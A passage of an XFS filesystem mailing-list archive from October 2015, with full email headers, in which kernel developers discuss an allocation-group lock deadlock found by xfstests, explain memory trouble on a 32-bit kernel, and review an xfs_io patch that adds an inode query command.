autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6CF0C7F37 for ; Tue, 6 Oct 2015 09:39:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33A6F304032 for ; Tue, 6 Oct 2015 07:38:57 -0700 (PDT) X-ASG-Debug-ID: 1444142336-04bdf04626227ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oAPKFoumYmfd7p87 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 07:38:56 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 26A158EA2F; Tue, 6 Oct 2015 14:38:56 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t96EctPZ019740; Tue, 6 Oct 2015 10:38:55 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6D265123DCD; Tue, 6 Oct 2015 10:38:54 -0400 (EDT) Date: Tue, 6 Oct 2015 10:38:54 -0400 From: Brian Foster To: Dave Chinner Cc: Ross Zwisler , xfs@oss.sgi.com Subject: Re: two failing xfstests using xfs (no DAX) Message-ID: <20151006143854.GA63205@bfoster.bfoster> X-ASG-Orig-Subj: Re: two failing xfstests using xfs (no DAX) References: <20151002174941.GA25082@linux.intel.com> <20151002223402.GM27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151002223402.GM27164@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444142336 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Oct 03, 2015 at 08:34:02AM +1000, Dave Chinner wrote: > On Fri, Oct 02, 2015 at 11:49:41AM -0600, Ross Zwisler wrote: > > Recently I've been trying to get a stable baseline for my DAX testing using > > various filesystems, and in doing so I noticed a pair of tests that were > > behaving badly when run on XFS without DAX. These test failures happen in > > both v4.2 and v4.3-rc3, though the signatures may vary a bit. > > > > My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory > > reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the > > CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel > > config to this mail. > > > > The first test failure is generic/299, which consistently deadlocks in the XFS > > code in both v4.2 and v4.3-rc3. The stack traces presented in dmesg via "echo > > w > /proc/sysrq-trigger" are consistent between these two kernel versions, and > > can be found in the "generic_299.deadlock" attachment. > > Yes, we've recently identified a AGF locking order problem on an > older kernel that this looks like. We haven't found the root cause > of it yet, but it's good to know that generic/299 seems to reproduce > it. I'll run that in a loop to see if I can get it to fail here... > First off, a quick rundown of where we're at so far: - The deadlock occurs because a dio/aio write attempts a reverse ordered agf lock (e.g., lock agf3 -> lock agf0, assuming agcount == 4) and races with a truncate (doing something likelock agf0 -> agf3). - The reverse ordered agf lock occurs in xfs_alloc_vextent() because xfs_alloc_space_available() (via xfs_alloc_fix_freelist()) indicates an AG can support an allocation, but subsequently fails to allocate later on in xfs_alloc_fix_minleft(). This causes the higher level code in xfs_alloc_vextent to wrap around to ag 0 when it should have either not locked ag3 or successfully allocated. I pointed out that xfs_alloc_space_available() appears to incorporate agf_flcount whereas xfs_alloc_fix_minleft() does not. Dave subsequently pointed out that the flcount is factored out of the former via the 'min_free' parameter, so this calculation is actually consistent with respect to the free list count. The calculation in question is: /* do have enough free space remaining for the allocation? */ available = (int)(pag->pagf_freeblks + pag->pagf_flcount - min_free - args->total); if (available < (int)args->minleft) return false; In the test case where I reproduce the hang, pag->pagf_flcount == min_free, which means that no free list fixups are needed and we can simplify things and cancel those two fields out. This means we are basically checking if (pagf_freeblks - args->total < args->minleft). In my test case, pagf_freeblks == 3, args->total == 0 and args->minleft == 3. args->total in this context gives the impression that it is the block count of the requested allocation, but it is not always used in this manner. Indeed, the immediately prior extent length check uses args->minlen, which is effectively the requested extent length. FWIW, incorporating args->minlen into this check also seems to resolve the hang, but that leads to other questions with regard to args->total. My impression is that args->total could more be something like a prediction on how many blocks off the free list an allocation might require, but it's really not clear to me because 1.) it's only used in this calculation 2.) it doesn't appear to be consistently used from the callers and 3.) the comments above or on the data structure definition aren't very clear. With regard to the callers, the args->total field makes its way down from the associated xfs_bmapi_write() parameter, passed as 0 from xfs_iomap_write_direct(). The other iomap callers pass 1 (the actual extent length is a separate param). It's not really clear to me what the difference is between the direct case and the others here, but fwiw, even just passing 1 in the direct case is enough to avoid the deadlock (but doesn't make it correct, obviously). The xfs_symlink() case calculates and passes two separate block counts: fs_blocks is presumably the extent length required for the actual symlink and resblks is the overall block count reservation for the transaction (incorporating blocks to allocate a new inode chunk, if necessary, etc.). This xfs_bmapi_write() call passes fs_blocks as the extent length and resblks as "total." resblks is updated as sub-operations occur, so this usage appears to be a mechanism that protects the individual allocations against the overall requirement of the transaction. Note that resblks incorporates fs_blocks, so this also covers the length of the current allocation request and is inconsistent with the iomap usage. The xfs_qm_dqalloc() and xfs_dir_*() callers (via da_args) appear to similarly pass along a resblks value that incorporates the overall extent length. On the contrary, the call from xfs_alloc_file_space() passes a 0 similar to the iomap_write_direct() case. Furthermore, the xfs_bmap_btalloc() code can set (or reset) args.total to minlen internally based on a free list flag. Given the documentation for xbf_low, perhaps this code assumes args.total > args.minlen and is effectively "resetting" it to the minimum length? If so, that suggests that the 1/0 callers are the incorrect callers and should be fixed to incorporate the extent length..? I need to stare at this more, but at the moment I can only speculate as to what the appropriate use of this field is. Sorry for the long mail. I wanted to get this itemized and hopefully fill any gaps or misunderstandings along the way. Thoughts..? Brian > > The second test failure is xfs/083, which in v4.2 seems to fail with an XFS > > assertion (I have XFS_DEBUG turned on): > > > > XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 168 > > No surprise: > > $ grep 083 tests/xfs/group > 083 dangerous_fuzzers > $ > > Yup, it's expected to trigger corruptions and when a > CONFIG_XFS_DEBUG=y kernel triggers a corruption warning it triggers > an ASSERT failure ot allow debugging. That particular corruption is > being detected in the /block validation function/ that is run to > detect corruptions in directory data blocks as they are read for > disk (__xfs_dir3_data_check). > > Any test that is not in the auto group is not expected to work > reliably as a regression test. Any many are actively dangerous like > this and will crash/panic machines when they hit whatever problem > they were written to exercise. For regression test purposes, the > test groups to run are: > > # check -g quick > > For a fast smoke test, and > > # check -g auto > > to run all the tests that should function correctly as regression > tests. > > > In v4.3, though, this same test seems to create some random memory corruption > > in XFS. I've hit at least two failure signatures that look nothing alike > > except they both look like somebody corrupted memory. > > There's no memory corruption evident. The hexdumps are of disk > buffers and, well, they've been fuzzed by the test... > > > [ 53.636917] run fstests xfs/083 at 2015-10-02 11:24:09 > > [ 53.760098] XFS (pmem0p2): Unmounting Filesystem > > [ 53.779642] XFS (pmem0p2): Mounting V4 Filesystem > > You're using v4 XFS filesystems. It's only valid to use CRC enabled > XFS filesystems ("V5 filesystems") on pmem devices so we can detect > torn sector writes correctly. > > I'd suggest upgrading xfsprogs to the latest (v4.2.0) as it > defaults to creating CRC enabled filesystems. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From darrick.wong@oracle.com Tue Oct 6 09:50:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BF9FB7F37 for ; Tue, 6 Oct 2015 09:50:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F243EAC001 for ; Tue, 6 Oct 2015 07:50:46 -0700 (PDT) X-ASG-Debug-ID: 1444143044-04cb6c6b04203270001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id sSxg8d6SBAOssaXL (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 07:50:45 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t96EoeO2004227 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 6 Oct 2015 14:50:40 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t96EoeNJ001758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Tue, 6 Oct 2015 14:50:40 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t96EodrR027510; Tue, 6 Oct 2015 14:50:40 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 07:50:39 -0700 Date: Tue, 6 Oct 2015 07:50:38 -0700 From: "Darrick J. Wong" To: "krautus@kr916.org" Cc: xfs@oss.sgi.com Subject: Re: all your slabs are belong to ram ? Message-ID: <20151006145038.GE10397@birch.djwong.org> X-ASG-Orig-Subj: Re: all your slabs are belong to ram ? References: <20151006162443.42f48ee7@linux> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151006162443.42f48ee7@linux> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444143044 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23233 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 06, 2015 at 04:24:43PM +0200, krautus@kr916.org wrote: > Dear List, nice to meet you :) > > First post, straight to the point: > I'm wrestling from few weeks with a problem: roundcube (a webmail client) takes too long to open a dovecot (pop/imap server) mailbox with many emails (files). > So, when such user has more than 10K emails, it takes around 1 minute to open the mailbox. > Meanwhile, I/O %util goes to 100% and bottlenecks the whole system. > > I've tried memcache(d) integration with roundcube but it doesn't eliminate the problem. > > OS is Debian Wheezy 32-bit, 16GB of ECC RAM and storage is a simple hardware raid-1 with a couple of sata2 hard disks. > I've just used mkfs.xfs (with no tuning) and no options while mounting (in fstab). > > It looks like the problem is the slow access to dentries and inodes, so I've set vfs_cache_pressure to 1, > forced buffering with few "find /var/mail > /dev/null" > and have it running like this from around 4 days. > Didn't help: slabs still gets flushed and opening folders is slow as before. > > Current slabtop usage shows: > 235352K used by xfs_inode > and > 49708K used by dentry > while I would expect to have at least 1 GB of xfs_inode and at least 200MB of dentry. > > So I'm asking you: > 1. is there a way to force dentries and inodes to stay in ram ? > 2. can I perhaps move dentries and inodes to a dedicated SSD ? > > I'm open to all possibilities, perhaps increase RAM ? > Upgrade to Debian Jessie and 64 bit ? ISTR that kernel data such as slabs cannot live in highmem, which means that dentries and slab cannot live in highmem. A 32bit kernel sets up ~900M of low memory and ~15G of highmem, which is probably why the kernel has to evict things and why you see such problems. A 64bit kernel sets up all the memory as lowmem, so the kernel can use all the memory for stuff like that. I'd give that a try first. --D > > Let me know if I can provide more info. > > > Thank you very much! > Mike > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From johannes.truschnigg@geizhals.at Tue Oct 6 11:16:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 81E6D7F37 for ; Tue, 6 Oct 2015 11:16:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 684368F8037 for ; Tue, 6 Oct 2015 09:16:50 -0700 (PDT) X-ASG-Debug-ID: 1444148206-04cb6c6b07205750001-NocioJ Received: from morework.geizhals.at (morework.geizhals.at [78.142.138.3]) by cuda.sgi.com with ESMTP id 21aUzBKZNgTPW2gC (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 06 Oct 2015 09:16:47 -0700 (PDT) X-Barracuda-Envelope-From: johannes.truschnigg@geizhals.at X-Barracuda-Apparent-Source-IP: 78.142.138.3 Received: from localhost (localhost [127.0.0.1]) by morework.geizhals.at (Postfix) with ESMTP id 525771248421; Tue, 6 Oct 2015 18:16:47 +0200 (CEST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=geizhals.at; s=mail; t=1444148207; bh=FWWq+tmKKSA3f6Y1zYB2p5ff+KuBXpiXNa9TnJkVOQs=; h=Message-ID:In-Reply-To:References:Date:Subject:From:To:Cc: MIME-Version:Content-Type:Content-Transfer-Encoding; b=Lphc7Y+aKIOgFFMQsZXLs201TNlfvresH/JnKveT8vPpxBQLNNPj5AuhRU4ehkSBR 4Hyjcql8U1MxWl7nMtJm4OqnSEBUYDhahqk2VE0wthREdKAmv3RVl6UrnttG5T/orA FE85YegMwxMSjBJclX0Ae1TzH4m9Six4QUeOXRdU= X-Virus-Scanned: Debian amavisd-new at geizhals.at Received: from morework.geizhals.at ([127.0.0.1]) by localhost (morework.geizhals.at [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id d36EszutSLDJ; Tue, 6 Oct 2015 18:16:46 +0200 (CEST) Received: by morework.geizhals.at (Postfix, from userid 33) id AFF7A1248427; Tue, 6 Oct 2015 18:16:46 +0200 (CEST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=geizhals.at; s=mail; t=1444148206; bh=FWWq+tmKKSA3f6Y1zYB2p5ff+KuBXpiXNa9TnJkVOQs=; h=Message-ID:In-Reply-To:References:Date:Subject:From:To:Cc: MIME-Version:Content-Type:Content-Transfer-Encoding; b=nzNibqu5Rs7GYyfZb50GMk21cEAwKpfsGyWbQLiC0inBCkUfyWjfiO7WPsj8wjC4/ iQcsOYdMzFJWqXy9NCH5VKTT3/XIqGww/tD7tfTqOjAYZ5JjjgXz+4ZNKggvEQmfjd 9n7me/nB4SEfu2nCQWWc5ZhhqSY82Ndozd9nh9QE= Received: from 84.114.120.200 (SquirrelMail authenticated user jt) by mail.geizhals.at with HTTP; Tue, 6 Oct 2015 18:16:46 +0200 Message-ID: In-Reply-To: <20151006145038.GE10397@birch.djwong.org> References: <20151006162443.42f48ee7@linux> <20151006145038.GE10397@birch.djwong.org> Date: Tue, 6 Oct 2015 18:16:46 +0200 Subject: Re: all your slabs are belong to ram ? From: "Johannes Truschnigg" X-ASG-Orig-Subj: Re: all your slabs are belong to ram ? To: xfs@oss.sgi.com Cc: "krautus@kr916.org" User-Agent: SquirrelMail/1.4.21 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: morework.geizhals.at[78.142.138.3] X-Barracuda-Start-Time: 1444148207 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23235 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Am Di, 6.10.2015, 16:50 schrieb Darrick J. Wong: > On Tue, Oct 06, 2015 at 04:24:43PM +0200, krautus@kr916.org wrote: >> [...] >> So I'm asking you: >> 1. is there a way to force dentries and inodes to stay in ram ? >> 2. can I perhaps move dentries and inodes to a dedicated SSD ? >> >> I'm open to all possibilities, perhaps increase RAM ? >> Upgrade to Debian Jessie and 64 bit ? > > ISTR that kernel data such as slabs cannot live in highmem, which means > that > dentries and slab cannot live in highmem. A 32bit kernel sets up ~900M of > low > memory and ~15G of highmem, which is probably why the kernel has to evict > things and why you see such problems. > > A 64bit kernel sets up all the memory as lowmem, so the kernel can use all > the > memory for stuff like that. I'd give that a try first. A few years back, we solved pretty much that exact same problem by switching the kernel to amd64, with all of userspace remaining i386. You should definitely try this. -- Mit freundlichen Grüßen Johannes Truschnigg Senior System Administrator -- mailto:johannes.truschnigg@geizhals.at (in dringenden Fällen bitte an info@geizhals.at) Geizhals(R) - Preisvergleich Internet Services AG Obere Donaustrasse 63/2 A-1020 Wien Tel: +43 1 5811609/87 Fax: +43 1 5811609/55 http://geizhals.at => Preisvergleich für Österreich http://geizhals.de => Preisvergleich für Deutschland http://geizhals.eu => Preisvergleich EU-weit Handelsgericht Wien | FN 197241K | Firmensitz Wien From bfoster@redhat.com Tue Oct 6 12:00:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 21D6429DF5 for ; Tue, 6 Oct 2015 12:00:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 914E2AC006 for ; Tue, 6 Oct 2015 10:00:32 -0700 (PDT) X-ASG-Debug-ID: 1444150830-04cbb03f13000b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id pbbkQAJsGoKvONe0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 10:00:31 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id D5758344ECB for ; Tue, 6 Oct 2015 17:00:26 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t96H0QXh003209; Tue, 6 Oct 2015 13:00:26 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 29338123DCD; Tue, 6 Oct 2015 13:00:25 -0400 (EDT) Date: Tue, 6 Oct 2015 13:00:25 -0400 From: Brian Foster To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs_io: Add inode '-s' command to query physical size of largest inode Message-ID: <20151006170024.GB63205@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs_io: Add inode '-s' command to query physical size of largest inode References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-2-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443186467-20110-2-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444150830 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Sep 25, 2015 at 03:07:45PM +0200, Carlos Maiolino wrote: > Add a new inode command to xfs_io, which aims to implement a tool for query > information about inode usage of the filesystem. > > This patch implements '-s' inode option, which query the filesystem for the > physical size of the largest filesystem inode > > Signed-off-by: Carlos Maiolino > --- > io/open.c | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > 1 file changed, 81 insertions(+) > > diff --git a/io/open.c b/io/open.c > index ac5a5e0..6a794ba 100644 > --- a/io/open.c > +++ b/io/open.c > @@ -20,6 +20,7 @@ > #include "input.h" > #include "init.h" > #include "io.h" > +#include "libxfs.h" > > #ifndef __O_TMPFILE > #if defined __alpha__ > @@ -44,6 +45,7 @@ static cmdinfo_t statfs_cmd; > static cmdinfo_t chproj_cmd; > static cmdinfo_t lsproj_cmd; > static cmdinfo_t extsize_cmd; > +static cmdinfo_t inode_cmd; > static prid_t prid; > static long extsize; > > @@ -750,6 +752,74 @@ statfs_f( > return 0; > } > > +static void > +inode_help(void) > +{ > + printf(_( > +"\n" > +"Query physical information about the inode" > +"\n" > +" -s -- Returns the physical size (in bits) of the\n" > +" largest inode number in the filesystem\n" > +"\n")); > +} > + > +static int > +inode_f( > + int argc, > + char **argv) > +{ > + __s32 count = 0; > + __s32 lastgrp = 0; > + __u64 last = 0; > + __u64 lastino = 0; > + struct xfs_inogrp igroup[1024]; > + struct xfs_fsop_bulkreq bulkreq; > + int c; > + int ret_lsize = 0; > + > + bulkreq.lastip = &last; > + bulkreq.icount = 1024; /* maybe an user-defined value!? */ > + bulkreq.ubuffer = &igroup; > + bulkreq.ocount = &count; > + > + while ((c = getopt(argc, argv, "s")) != EOF) { > + switch (c) { > + case 's': > + ret_lsize = 1; > + break; > + default: > + return command_usage(&inode_cmd); > + } > + } > + > + if (ret_lsize) { It seems a little strange to me to do nothing by default, even if that means printing a warning to ask the user to specify one of N required options. > + for (;;) { > + if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > + &bulkreq)) { > + perror("XFS_IOC_FSINUMBERS"); > + exitcode = 1; > + return 0; > + } > + if (count < XFS_INODES_PER_CHUNK && count > 0) > + lastgrp = count; Is this assuming that the number of inodes in the fs is not a multiple of XFS_INODES_PER_CHUNK? It looks like this is never set, for example, if the fs has exactly XFS_INODES_PER_CHUNK inodes allocated. I suspect what we want to do here is break the loop as soon as something less than the full buffer is returned, then use the count and record size to determine which record has the largest ino and go from there..? I also don't know what happens if the user buffer is passed to a subsequent command that returns count == 0. Is it still valid? A more simple algorithm might be to copy the last record in igroup to another local xfs_inogrp variable in each iteration and just have the subsequent code refer to that record (or even update lastino here and then just print it below). Just a thought. Brian > + if (!count) > + break; > + } > + > + lastgrp--; > + lastino = igroup[lastgrp].xi_startino + > + xfs_highbit64(igroup[lastgrp].xi_allocmask); > + > + printf (_("Largest inode size: %d\n"), > + lastino > XFS_MAXINUMBER_32 ? 64 : 32); > + > + } > + > + > + return 0; > +} > + > void > open_init(void) > { > @@ -815,6 +885,16 @@ open_init(void) > _("get/set preferred extent size (in bytes) for the open file"); > extsize_cmd.help = extsize_help; > > + inode_cmd.name = "inode"; > + inode_cmd.cfunc = inode_f; > + inode_cmd.args = _("[-s]"); > + inode_cmd.argmin = 1; > + inode_cmd.argmax = 1; > + inode_cmd.flags = CMD_NOMAP_OK; > + inode_cmd.oneline = > + _("Query inode number usage in the filesystem"); > + inode_cmd.help = inode_help; > + > add_command(&open_cmd); > add_command(&stat_cmd); > add_command(&close_cmd); > @@ -822,4 +902,5 @@ open_init(void) > add_command(&chproj_cmd); > add_command(&lsproj_cmd); > add_command(&extsize_cmd); > + add_command(&inode_cmd); > } > -- > 2.4.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Tue Oct 6 12:00:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A542B29DF5 for ; Tue, 6 Oct 2015 12:00:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BA87304039 for ; Tue, 6 Oct 2015 10:00:42 -0700 (PDT) X-ASG-Debug-ID: 1444150841-04cb6c578a000e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OtiVKKccVcNLVQKZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 10:00:41 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 34378344ED3 for ; Tue, 6 Oct 2015 17:00:41 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t96H0ev5002981; Tue, 6 Oct 2015 13:00:40 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8B5B7123DCD; Tue, 6 Oct 2015 13:00:39 -0400 (EDT) Date: Tue, 6 Oct 2015 13:00:39 -0400 From: Brian Foster To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs_io: add inode -l argument to return largest inode number Message-ID: <20151006170039.GC63205@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs_io: add inode -l argument to return largest inode number References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-3-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443186467-20110-3-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444150841 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Sep 25, 2015 at 03:07:46PM +0200, Carlos Maiolino wrote: > Implements '-l' argument in inode command, returning to the user, the largest > inode allocated and used in the filesystem. > > Signed-off-by: Carlos Maiolino > --- > io/open.c | 18 +++++++++++++----- > 1 file changed, 13 insertions(+), 5 deletions(-) > > diff --git a/io/open.c b/io/open.c > index 6a794ba..57ff0bf 100644 > --- a/io/open.c > +++ b/io/open.c > @@ -759,6 +759,7 @@ inode_help(void) > "\n" > "Query physical information about the inode" > "\n" > +" -l -- Returns the largest inode number in the filesystem\n" > " -s -- Returns the physical size (in bits) of the\n" > " largest inode number in the filesystem\n" > "\n")); > @@ -777,23 +778,27 @@ inode_f( > struct xfs_fsop_bulkreq bulkreq; > int c; > int ret_lsize = 0; > + int ret_largest = 0; > > bulkreq.lastip = &last; > bulkreq.icount = 1024; /* maybe 